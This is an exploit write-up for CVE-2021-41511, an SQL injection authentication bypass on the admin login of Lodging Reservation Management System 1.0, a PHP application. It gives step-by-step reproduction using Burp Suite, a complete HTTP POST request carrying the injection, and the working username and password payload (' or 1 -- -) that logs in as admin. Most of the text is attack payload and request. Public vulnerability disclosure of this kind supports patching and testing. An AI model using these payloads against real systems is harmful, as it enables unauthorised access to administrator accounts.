# CVE-2021-41511
# Exploit Title: Lodging Reservation Management System 1.0 - SQL Injection / Authentication Bypass
# Exploit Author: Nitin Sharma(vidvansh)
# Vendor Homepage: https://www.sourcecodester.com/php/14883/lodging-reservation-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14883&title=Lodging+Reservation+Management+System+in+PHP+FREE+Source+Code
# Version: v1.0
# Tested on: Windows 10 - XAMPP Server
# Description : Password input is affected with authentication bypass because of improper sanitisation which lead to access to auauthorised accounts.
#Steps-To-Reproduce:
Step 1 Go to the Product admin panel http://localhost/lodge/admin/login.php.
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step4 – Change the username to ' OR 1 -- - and password to ' OR 1 -- -.
Step 5 – Click forward and now you will be logged in as admin.
# PoC:
POST /lodge/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://localhost
Connection: close
Referer: http://localhost/lodge/admin/login.php
Cookie: PHPSESSID=2fa01e7lg9vfhtspr2hs45va76
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
username=+'+or+1%3D1+--+&password=+'+or+1%3D1+--+
# Authentication Bypass:
# Go to admin login page (http://localhost/lodge/admin/login.php), then use below payload as username and password =>
Username: ' or 1 -- -
Password: ' or 1 -- -
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